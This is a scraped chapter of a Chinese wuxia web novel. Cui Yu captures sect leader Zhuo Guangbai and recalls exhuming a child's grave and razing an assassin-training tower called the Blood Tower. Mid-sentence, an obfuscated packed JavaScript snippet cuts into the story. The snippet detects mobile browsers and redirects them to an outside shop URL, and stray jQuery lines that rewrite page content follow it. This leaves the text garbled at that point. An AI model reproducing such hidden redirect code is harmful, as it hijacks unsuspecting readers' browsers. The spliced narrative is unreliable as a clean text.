默认冷灰
24号文字
方正启体

5. 再见小鱼奴

作者:师越本书字数:K更新时间:
    “怎么感觉你有些心疼那小孩了?”崔昱推开门,就看见方以的大脸从柜子后门转出来。


    他本来就在走神,这下真是结结实实被吓了一跳。


    “又是这样无声无息的,不吓人会死啊。”崔昱没好气儿地说。


    “看见他挨蛊虫咬,心软了?”方以抱着手,靠着墙。


    “一般吧。”崔昱往床上躺下,“知道你武功高强,但是进出小心些,卫良秋武功不低,别被他察觉了。”


    方以往递给他一个小竹盒,“路上给你摘的野果,尝尝!”


    崔昱有些难以置信,“洗心革面?”


    野果很小,紫紫红红的,很是诱人。


    他尝了两个,抬头问,“南雍那边事情怎么样,办得还顺利吗?”


    “顺利是顺利,但是现在李瑞山交代我说不许离开你半步,你又怎么招惹他了?”


    方以看他吃野果吃得开心,忽然夺过来,“不许吃了!”


    崔昱习惯了他没来由的生气,倒也不恼,乖乖任由他把盒子拿走,“瑞山的话听听得了,这么多年了,谁的话算数你还不知道?”


    方以不耐烦地撇撇嘴,扔给他一个瓶子,“老荀配的药,少吃点!别吃死了。”


    “天天死不死的挂嘴边,不吉利。”崔昱接得很准,打开一看,“怎么只有两颗,荀先生也越发小气了。”


    方以懒得理他,侧身从窗户翻出去了。


    万里同归,至刚至阳,其实是蛊虫的最大克星,他并不会治病,只是在施针的时候注入万里同归的内力,把蛊毒强硬地逼出来而已。


    虽然用的内力不多,但他的身体其实经不起多少消耗,因此觉得异常困乏。


    他盘膝而坐,内力运转了几个周天,经脉受损严重,汇入丹田的内力少之又少。


    天色渐渐暗了下来,崔昱吃了一颗方以带来的药,感觉精神了不少。


    他换了身黑衣,衣服多穿了两件,显没有那么单薄,蒙了脸,看不出来原本的面目。


    出门脚步很轻,几个飞身,就落在了卓广白的院子里。


    没有惊动一个人,清云流风是当今世上绝顶的轻功,踏雪无痕,点水无漪。


    崔昱轻轻推开房门。


    “谁?”卓广白不愧是一派掌门,十分警觉。


    但是一刻钟前,守门的两个弟子,已经被一碗例汤放倒了,这点声音是引不来人的。


    崔昱身法很快,瞬息直接将卓广白制住,“卓掌门,晚上好。”


    卓广白被点了穴位,动弹不得,“是你?崔昱,你竟然会武?”


    “好巧啊,正是在下!”崔昱拱拱手,“微末功夫,不足挂齿!”


    然后用绳子先把他绑了起来。


    卓广白气得一股气卡在胸口,要是这是微末功夫,那他算什么?


    “你我无冤无仇,从未得罪过你,你这又是何故!”


    “卓掌门看来是没搞清楚眼前的情景,你没得罪我,就不能要你的命了吗?歪理。”崔昱笑了笑,“已经让你苟活了这么些年了,知足吧。”


    卓广白被迫跪伏在地上,崔昱拍了拍手,在他身前站定。


    “好好想想,这些年都干了些什么伤天害理的事情。”


    崔昱忍住想拿银针扎他的冲动,“看来是坏事做多了,一下子想不起来哪件。”


    他低声笑笑,轻声在他耳边说,“还记得七年前,滇南血楼大火吗?这么健忘啊卓大楼主。”


    卓广白一怔,眼睛眯成一条缝。


    “原来是你!”


    滇南血楼,是一个训练死士杀手的地方。从孩童时期开始让他们自相残杀,只有强者才能生存下来。


    然后不断用秘术控制他们的思想,直到把他们训练一把无所不利的尖刀。


    血楼在时,在江湖上掀起来了不少腥风血雨的事件。江湖正派屡开武林大会,商讨讨伐血楼。


    但是都无功而返。


    这个血楼像是能提前预知一般,来去无踪,每次都是人去楼空。


    而且滇南多瘴气,地势险要,易守难攻,无功而返的次数多了,也渐渐没有人提围剿血楼这件事了。


    不过七年前,滇南血楼遭到数十个蒙面人围攻,大火整整烧了三天三夜,至此在江湖上销声匿迹,众人皆说是恶有恶报。


    至于为什么即使大费周章,崔昱也要带人灭了滇南血楼,还得从桓王旧案说起。


    当年桓王府被查封,府兵被全部下狱,桓王妃和年仅六岁的小公子以及一些老妪奴婢被囚在府里,却不曾想被北疆人趁此机会钻了空子。


    北疆暗探的屠刀挥向了这样一群手无缚鸡之力的老幼妇孺。


    这些北疆暗探,个个身手不俗,擅长暗杀,等封锁府邸的禁军发现时,早就为时已晚,桓王府血流成河,甚至没一个全尸。


    桓王妃和小公子的尸身被砍得七零八落,像是泄愤一般,不成人形。


    等崔昱开始着手查旧案的时候,却发现了不同寻常的地方。


    崔昱盯着卓广白的眼睛,思绪少有的飘远了。那天晚上,他和李瑞山二人一同潜入陵山。


    或许皇帝仁厚,有将桓王妃和小公子好好安葬,虽然没有陵寝,但是在陵山不远处的野山上修了两个不大不小的墓。


    这时他的伤还没好全,有些路甚至是李瑞山背着他走的,李瑞山心里十分清楚,这种事情他必然不愿意假手他人,因此也没有出言相劝。


    孤零零的两座坟就这么立在那里,这是他回京以后第一次来,崔昱踉跄着翻身跪倒在地,伏地流泪。


    李瑞山第一次看他哭。


    “姑姑,翊儿,我来迟了,我来迟了。”


    班师回朝之时,他兵权在握,朝野上下无数人盯着他的一举一动,他不敢来,不仅不敢来,就连悲痛都不敢太过表露。


    眼下满身的伤和上交的兵权换来了他淡出朝野,立于暗处,慢慢才查出来一些蛛丝马迹。


    他要开馆验尸。


    距离那场鞭刑已经过去很久了,但是崔昱背上的伤口堪堪才结痂。他一铲又一铲地扬着土。


    露出棺椁的时候,崔昱不敢看,手抖得控制不住,“小鱼奴,小鱼奴……”


    “噗”,他气血翻涌,体内的骨生花毒有卷土重来之势。


    一口乌黑的血喷在棺椁上。


    “爷!”李瑞山松开铁铲,连忙扶住他的肩膀,“爷,我们先看看,先看看小公子。”


    推开棺椁,露出一具小小的白骨。就连骨头上,都还留着刀斧的痕迹。


    崔昱双眼通红,撑在棺椁上,泪水一滴一滴地往下滴。


    忽然他看见一丝不对,“瑞山,火折子。”


    这具白骨的左手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998706|193916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小手指是弯曲的,不是正常的形状。


    崔昱不住地往下滑,背靠在棺椁上,又哭又笑,“不是小鱼奴,不是小鱼奴,咳咳……瑞山,你看见了吗,这不是小鱼奴。”


    小公子朱翊的书童决明是他幼年捡回来的乞儿,两人年岁相当,身形相似,天生左小指弯曲,不能伸直。


    崔昱缓过气之后,又查看了桓王妃的尸骨,确认了是桓王妃无疑。二人将两座墓复原,抹去了开棺的痕迹。


    “瑞山,速速传令浮云斋追查翊儿的下落。”


    一个六岁的小孩子就算是逃过了北疆人的屠刀,又如何能生存下去呢?


    更何况,距离桓王府屠杀已经过去了一年之久。


    在浮云斋的几经追查下,得到了零星的线索。最后这些线索指向的是滇南血楼。


    血楼的孩子多是直接从街上拐带而来的。


    在崔昱前往滇南血楼之前,他幻想了很多次与朱翊相认的场景,九岁的小鱼奴会长什么样子呢,被训练成一个小刺客,瘦瘦的一摸一把骨头,身上有很多伤,再也记不得自己也记不得家人。


    他不敢继续往下想。


    但是令他没有想到的是,他见到的是一具尸体。


    甚至心口流出的血还是温热的。


    和他想的一样,瘦瘦的,小小的,一摸一把骨头,遍体鳞伤。


    崔昱上次见他的时候,还是他三岁的时候,胖乎乎的,软软的,一口一个哥哥的叫着。


    他把小小的尸体死死地抱在怀里,放声痛哭,嘶哑的声音像野兽的悲鸣。


    潜伏在血楼的人已经确认过他的身份了,胎记和以前的伤疤都能对上。


    崔昱不死心地解开小鱼奴的衣衫,再次确认胎记。


    心口像一条褐色小鱼一样的胎记赤裸裸地告诉他,小鱼奴真的已经死了。


    他又来迟了一步,又来迟了一步。


    崔昱提着诛厄,宛若地狱归来的恶鬼,除了被控制的无辜的孩子们,其他的所有人一个也没有放过。


    但是却让血楼楼主从密道逃走了。


    卓广白逃回平湖剑派的后,久久难忘那双冰冷的闪着地狱业火的眼睛,胆战心惊地过了许多年。


    “你要做什么?”卓广白看着这双令他噩梦缠身的眼睛,从心底生出极大的恐惧。


    北疆有这样一个传言:“将军有三针,一针痛,二针疯,三针之后……再无此人。”


    第一针称为皮相劫,起初只是轻微刺痛,但是三息之后,全身如同烈火灼烧,每一寸皮肤都仿佛刀割。


    就连正常的呼吸、心跳,甚至连衣物的摩擦都会带来剧痛,牙齿相碰犹如利刃刮骨。


    意志薄弱的人往往在第一针就会哀嚎求饶。


    第二针称为魂归墟,即使最硬的骨头熬过了第一针也会在第二针陷入疯魔。


    中针者眼前景象扭曲,无数亡者冤魂会来索命,耳边响起自己最恐惧的声音,时而感觉如坠冰窟,时而又好像被烈火焚烧。


    时间像是被无线放大,陷入无尽的折磨之中。


    第三针没有人听过,从未有人让他用出第三针。


    这一针能使人顷刻毙命,无伤无痕。


    “做什么?卓楼主如此心狠手辣,不知道有没有听说过——无闻三针?”


    卓广白瞳孔瞬间放大,倒映出一点寒芒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)